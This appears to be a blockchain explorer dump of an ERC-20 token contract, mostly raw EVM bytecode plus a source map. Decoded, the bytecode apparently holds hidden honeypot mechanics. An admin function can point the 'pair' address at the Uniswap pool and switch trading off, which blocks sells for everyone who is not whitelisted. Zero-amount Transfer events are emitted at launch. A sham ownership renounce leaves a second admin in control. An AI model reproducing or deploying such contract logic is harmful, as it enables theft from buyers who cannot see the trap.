ffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061267d8261265b565b9050919050565b60005b838110156126a2578082015181840152602081019050612687565b838111156126b1576000848401525b50505050565b600060028204905060018216806126cf57607f821691505b602082108114156126e3576126e2612761565b5b50919050565b60006126f48261265b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561272757612726612732565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b6127d98161261d565b81146127e457600080fd5b50565b6127f08161262f565b81146127fb57600080fd5b50565b6128078161265b565b811461281257600080fd5b5056fea2646970667358221220a69b1ce98f074aecb21a714086535f9d9365136fd6411bfb259d942f73c09f7f64736f6c63430008000033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c80636e4ee811116100ab578063a6f9dae11161006f578063a6f9dae1146103ed578063a9059cbb14610416578063b09f126614610453578063cdedef671461047e578063d28d885214610495578063dd62ed3e146104c057610135565b80636e4ee811146103065780636ebcf6071461031d57806370a082311461035a5780638da5cb5b1461039757806395d89b41146103c257610135565b806321b0033a116100f257806321b0033a1461022157806323b872dd1461024a578063313ce567146102875780633a3209f1146102b25780633eaaf86b146102db57610135565b8063024c2ddd1461013a57806306fdde0314610177578063095ea7b3146101a257806318160ddd146101df5780631d97b7cd1461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b50610161600480360381019061015c9190611e6a565b6104fd565b60405161016e9190612518565b60405180910390f35b34801561018357600080fd5b5061018c610522565b6040516101999190612416565b60405180910390f35b3480156101ae57600080fd5b506101c960048036038101906101c49190611ef5565b6105b4565b6040516101d691906123e0565b60405180910390f35b3480156101eb57600080fd5b506101f46105d2565b6040516102019190612518565b60405180910390f35b34801561021657600080fd5b5061021f6105dc565b005b34801561022d57600080fd5b5061024860048036038101906102439190611f31565b610b2b565b005b34801561025657600080fd5b50610271600480360381019061026c9190611ea6565b610c98565b60405161027e91906123e0565b60405180910390f35b34801561029357600080fd5b5061029c610d90565b6040516102a99190612533565b60405180910390f35b3480156102be57600080fd5b506102d960048036038101906102d49190611f31565b610d99565b005b3480156102e757600080fd5b506102f0610f06565b6040516102fd9190612518565b60405180910390f35b34801561031257600080fd5b5061031b610f0c565b005b34801561032957600080fd5b50610344600480360381019061033f9190611e18565b611003565b6040516103519190612518565b60405180910390f35b34801561036657600080fd5b50610381600480360381019061037c9190611e18565b61101b565b60405161038e9190612518565b60405180910390f35b3480156103a357600080fd5b506103ac611063565b6040516103b99190612312565b60405180910390f35b3480156103ce57600080fd5b506103d7611089565b6040516103e49190612416565b60405180910390f35b3480156103f957600080fd5b50610414600480360381019061040f9190611e18565b61111b565b005b34801561042257600080fd5b5061043d60048036038101906104389190611ef5565b611211565b60405161044a91906123e0565b60405180910390f35b34801561045f57600080fd5b5061046861122f565b6040516104759190612416565b60405180910390f35b34801561048a57600080fd5b506104936112bd565b005b3480156104a157600080fd5b506104aa6113ef565b6040516104b79190612416565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190611e6a565b61147d565b6040516104f49190612518565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b606060078054610531906126b7565b80601f016020809104026020016040519081016040528092919081815260200182805461055d906126b7565b80156105aa5780601f1061057f576101008083540402835291602001916105aa565b820191906000526020600020905b81548152906001019060200180831161058d57829003601f168201915b5050505050905090565b60006105c86105c1611504565b848461150c565b6001905092915050565b6000600654905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806106855750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61068e57600080fd5b600960019054906101000a900460ff16156106de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d5906124f8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061076730600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065461150c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ad57600080fd5b505afa1580156107c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e59190611e41565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561084757600080fd5b505afa15801561085b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087f9190611e41565b6040518363ffffffff1660e01b815260040161089c92919061232d565b602060405180830381600087803b1580156108b657600080fd5b505af11580156108ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ee9190611e41565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306109773061101b565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016109bf9695949392919061237f565b6060604051808303818588803b1580156109d857600080fd5b505af11580156109ec573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a119190611f9b565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ad5929190612356565b602060405180830381600087803b158015610aef57600080fd5b505af1158015610b03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b279190611f72565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610bd45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610bdd57600080fd5b60005b8151811015610c9457600160036000848481518110610c28577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610c8c906126e9565b915050610be0565b5050565b6000610ca58484846116d7565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610cf0611504565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6790612498565b60405180910390fd5b610d8485610d7c611504565b85840361150c565b60019150509392505050565b60006012905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e425750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e4b57600080fd5b60005b8151811015610f0257600060036000848481518110610e96577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610efa906126e9565b915050610e4e565b5050565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610fb55750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610fbe57600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054611098906126b7565b80601f01602080910402602001604051908101604052809291908181526020018280546110c4906126b7565b80156111115780601f106110e657610100808354040283529160200191611111565b820191906000526020600020905b8154815290600101906020018083116110f457829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111c45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6111cd57600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061122561121e611504565b84846116d7565b6001905092915050565b6008805461123c906126b7565b80601f0160208091040260200160405190810160405280929190818152602001828054611268906126b7565b80156112b55780601f1061128a576101008083540402835291602001916112b5565b820191906000526020600020905b81548152906001019060200180831161129857829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806113665750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61136f57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b600780546113fc906126b7565b80601f0160208091040260200160405190810160405280929190818152602001828054611428906126b7565b80156114755780601f1061144a57610100808354040283529160200191611475565b820191906000526020600020905b81548152906001019060200180831161145857829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561157c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611573906124d8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e390612458565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116ca9190612518565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173e906124b8565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156117a557600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118495750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61185257600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119a457600960009054906101000a900460ff168061190c5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806119645750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6119a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199a90612438565b60405180910390fd5b5b6c02863c1f5cdae42f9540000000811080611a0c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611a645750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611a9a57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611aa357600080fd5b611aae838383611d14565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2b90612478565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bc791906125c7565b92505081905550436001600b54611bde91906125c7565b118015611c385750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611ca8578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611c9b91906123fb565b60405180910390a3611d0e565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d059190612518565b60405180910390a35b50505050565b505050565b6000611d2c611d278461257f565b61254e565b90508083825260208201905082856020860282011115611d4b57600080fd5b60005b85811015611d7b5781611d618882611d85565b845260208401935060208301925050600181019050611d4e565b5050509392505050565b600081359050611d94816127d0565b92915050565b600081519050611da9816127d0565b92915050565b600082601f830112611dc057600080fd5b8135611dd0848260208601611d19565b91505092915050565b600081519050611de8816127e7565b92915050565b600081359050611dfd816127fe565b92915050565b600081519050611e12816127fe565b92915050565b600060208284031215611e2a57600080fd5b6000611e3884828501611d85565b91505092915050565b600060208284031215611e5357600080fd5b6000611e6184828501611d9a565b91505092915050565b60008060408385031215611e7d57600080fd5b6000611e8b85828601611d85565b9250506020611e9c85828601611d85565b9150509250929050565b600080600060608486031215611ebb57600080fd5b6000611ec986828701611d85565b9350506020611eda86828701611d85565b9250506040611eeb86828701611dee565b9150509250925092565b60008060408385031215611f0857600080fd5b6000611f1685828601611d85565b9250506020611f2785828601611dee565b9150509250929050565b600060208284031215611f4357600080fd5b600082013567ffffffffffffffff811115611f5d57600080fd5b611f6984828501611daf565b91505092915050565b600060208284031215611f8457600080fd5b6000611f9284828501611dd9565b91505092915050565b600080600060608486031215611fb057600080fd5b6000611fbe86828701611e03565b9350506020611fcf86828701611e03565b9250506040611fe086828701611e03565b9150509250925092565b611ff38161261d565b82525050565b6120028161262f565b82525050565b61201181612672565b82525050565b6000612022826125ab565b61202c81856125b6565b935061203c818560208601612684565b612045816127bf565b840191505092915050565b600061205d6023836125b6565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006120c36022836125b6565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006121296026836125b6565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061218f6028836125b6565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b60006121f56025836125b6565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061225b6024836125b6565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006122c16017836125b6565b91507f74726164696e6720697320616c7265616479206f70656e0000000000000000006000830152602082019050919050565b6122fd8161265b565b82525050565b61230c81612665565b82525050565b60006020820190506123276000830184611fea565b92915050565b60006040820190506123426000830185611fea565b61234f6020830184611fea565b9392505050565b600060408201905061236b6000830185611fea565b61237860208301846122f4565b9392505050565b600060c0820190506123946000830189611fea565b6123a160208301886122f4565b6123ae6040830187612008565b6123bb6060830186612008565b6123c86080830185611fea565b6123d560a08301846122f4565b979650505050505050565b60006020820190506123f56000830184611ff9565b92915050565b60006020820190506124106000830184612008565b92915050565b600060208201905081810360008301526124308184612017565b905092915050565b6000602082019050818103600083015261245181612050565b9050919050565b60006020820190508181036000830152612471816120b6565b9050919050565b600060208201905081810360008301526124918161211c565b9050919050565b600060208201905081810360008301526124b181612182565b9050919050565b600060208201905081810360008301526124d1816121e8565b9050919050565b600060208201905081810360008301526124f18161224e565b9050919050565b60006020820190508181036000830152612511816122b4565b9050919050565b600060208201905061252d60008301846122f4565b92915050565b60006020820190506125486000830184612303565b92915050565b6000604051905081810181811067ffffffffffffffff8211171561257557612574612790565b5b8060405250919050565b600067ffffffffffffffff82111561259a57612599612790565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006125d28261265b565b91506125dd8361265b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561261257612611612732565b5b828201905092915050565b60006126288261263b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061267d8261265b565b9050919050565b60005b838110156126a2578082015181840152602081019050612687565b838111156126b1576000848401525b50505050565b600060028204905060018216806126cf57607f821691505b602082108114156126e3576126e2612761565b5b50919050565b60006126f48261265b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561272757612726612732565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b6127d98161261d565b81146127e457600080fd5b50565b6127f08161262f565b81146127fb57600080fd5b50565b6128078161265b565b811461281257600080fd5b5056fea2646970667358221220a69b1ce98f074aecb21a714086535f9d9365136fd6411bfb259d942f73c09f7f64736f6c63430008000033
Deployed Bytecode Sourcemap
4913:6082:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5029:66;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7733:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8633:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8048:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6756:918;;;;;;;;;;;;;:::i;:::-;;6246:190;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8808:488;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7949:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6444:188;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5283:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6123:115;;;;;;;;;;;;;:::i;:::-;;4978:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8162:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5788:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7839:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6024:87;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8295:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5378:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6640:108;;;;;;;;;;;;;:::i;:::-;;5334:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8476:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5029:66;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;7733:100::-;7787:13;7820:5;7813:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7733:100;:::o;8633:169::-;8716:4;8733:39;8742:12;:10;:12::i;:::-;8756:7;8765:6;8733:8;:39::i;:::-;8790:4;8783:11;;8633:169;;;;:::o;8048:108::-;8109:7;8136:12;;8129:19;;8048:108;:::o;6756:918::-;5956:10;5947:19;;:5;;;;;;;;;;;:19;;;5946:51;;;;5986:10;;;;;;;;;;;5972:24;;:10;:24;;;5946:51;5938:60;;;;;;6818:11:::1;;;;;;;;;;;6817:12;6809:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;6868:35;6939:42;6868:124;;7021:16;7003:15;;:34;;;;;;;;;;;;;;;;;;7048:63;7065:4;7080:15;;;;;;;;;;;7098:12;;7048:8;:63::i;:::-;7156:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7138:70;;;7217:4;7224:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7138:110;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7122:13;;:126;;;;;;;;;;;;;;;;;;7259:15;;;;;;;;;;;:31;;;7298:21;7343:4;7363:24;7381:4;7363:9;:24::i;:::-;7402:1;7418::::0;7434:5:::1;;;;;;;;;;;7454:15;7259:221;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;7505:4;7491:11;;:18;;;;;;;;;;;;;;;;;;7532:12;7520:9;:24;;;;7562:13;;;;;;;;;;;7555:29;;;7607:15;;;;;;;;;;;7638:17;7555:111;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;6009:1;6756:918::o:0;6246:190::-;5956:10;5947:19;;:5;;;;;;;;;;;:19;;;5946:51;;;;5986:10;;;;;;;;;;;5972:24;;:10;:24;;;5946:51;5938:60;;;;;;6334:6:::1;6329:100;6350:11;:18;6346:1;:22;6329:100;;;6413:4;6390;:20;6395:11;6407:1;6395:14;;;;;;;;;;;;;;;;;;;;;;6390:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;6370:3;;;;;:::i;:::-;;;;6329:100;;;;6246:190:::0;:::o;8808:488::-;8948:4;8965:36;8975:6;8983:9;8994:6;8965:9;:36::i;:::-;9012:24;9039:11;:19;9051:6;9039:19;;;;;;;;;;;;;;;:33;9059:12;:10;:12::i;:::-;9039:33;;;;;;;;;;;;;;;;9012:60;;9111:6;9091:16;:26;;9083:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;9198:57;9207:6;9215:12;:10;:12::i;:::-;9248:6;9229:16;:25;9198:8;:57::i;:::-;9284:4;9277:11;;;8808:488;;;;;:::o;7949:93::-;8007:5;8032:2;8025:9;;7949:93;:::o;6444:188::-;5956:10;5947:19;;:5;;;;;;;;;;;:19;;;5946:51;;;;5986:10;;;;;;;;;;;5972:24;;:10;:24;;;5946:51;5938:60;;;;;;6529:6:::1;6524:101;6545:11;:18;6541:1;:22;6524:101;;;6608:5;6585:4;:20;6590:11;6602:1;6590:14;;;;;;;;;;;;;;;;;;;;;;6585:20;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;6565:3;;;;;:::i;:::-;;;;6524:101;;;;6444:188:::0;:::o;5283:44::-;;;;:::o;6123:115::-;5956:10;5947:19;;:5;;;;;;;;;;;:19;;;5946:51;;;;5986:10;;;;;;;;;;;5972:24;;:10;:24;;;5946:51;5938:60;;;;;;6188:42:::1;6180:5;;:50;;;;;;;;;;;;;;;;;;6123:115::o:0;4978:44::-;;;;;;;;;;;;;;;;;:::o;8162:127::-;8236:7;8263:9;:18;8273:7;8263:18;;;;;;;;;;;;;;;;8256:25;;8162:127;;;:::o;5788:20::-;;;;;;;;;;;;;:::o;7839:104::-;7895:13;7928:7;7921:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7839:104;:::o;6024:87::-;5956:10;5947:19;;:5;;;;;;;;;;;:19;;;5946:51;;;;5986:10;;;;;;;;;;;5972:24;;:10;:24;;;5946:51;5938:60;;;;;;6097:6:::1;6089:5;;:14;;;;;;;;;;;;;;;;;;6024:87:::0;:::o;8295:175::-;8381:4;8398:42;8408:12;:10;:12::i;:::-;8422:9;8433:6;8398:9;:42::i;:::-;8458:4;8451:11;;8295:175;;;;:::o;5378:38::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6640:108::-;5956:10;5947:19;;:5;;;;;;;;;;;:19;;;5946:51;;;;5986:10;;;;;;;;;;;5972:24;;:10;:24;;;5946:51;5938:60;;;;;;6699:13:::1;;;;;;;;;;;6690:6;;:22;;;;;;;;;;;;;;;;;;6735:5;6723:9;;:17;;;;;;;;;;;;;;;;;;6640:108::o:0;5334:37::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;8476:151::-;8565:7;8592:11;:18;8604:5;8592:18;;;;;;;;;;;;;;;:27;8611:7;8592:27;;;;;;;;;;;;;;;;8585:34;;8476:151;;;;:::o;3670:98::-;3723:7;3750:10;3743:17;;3670:98;:::o;10468:378::-;10621:1;10604:19;;:5;:19;;;;10596:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10702:1;10683:21;;:7;:21;;;;10675:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10784:6;10754:11;:18;10766:5;10754:18;;;;;;;;;;;;;;;:27;10773:7;10754:27;;;;;;;;;;;;;;;:36;;;;10822:7;10806:32;;10815:5;10806:32;;;10831:6;10806:32;;;;;;:::i;:::-;;;;;;;;10468:378;;;:::o;9309:1141::-;9467:1;9449:20;;:6;:20;;;;9441:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;9556:4;9530:30;;:14;:22;9545:6;9530:22;;;;;;;;;;;;;;;;;;;;;;;;;:30;;;;9522:40;;;;;;9582:4;:12;9587:6;9582:12;;;;;;;;;;;;;;;;;;;;;;;;;9581:13;:33;;;;;9599:4;:15;9604:9;9599:15;;;;;;;;;;;;;;;;;;;;;;;;;9598:16;9581:33;9573:42;;;;;;9642:6;;;;;;;;;;;9629:19;;:9;:19;;;9626:158;;;9674:9;;;;;;;;;;;:31;;;;9687:10;:18;9698:6;9687:18;;;;;;;;;;;;;;;;;;;;;;;;;9674:31;9673:59;;;;9721:10;;;;;;;;;;;9711:20;;:6;:20;;;9673:59;9665:107;;;;;;;;;;;;:::i;:::-;;;;;;;;;9626:158;9812:19;9803:6;:28;9802:56;;;;9847:10;;;;;;;;;;;9837:20;;:6;:20;;;9802:56;:77;;;;9873:5;;;;;;;;;;;9863:15;;:6;:15;;;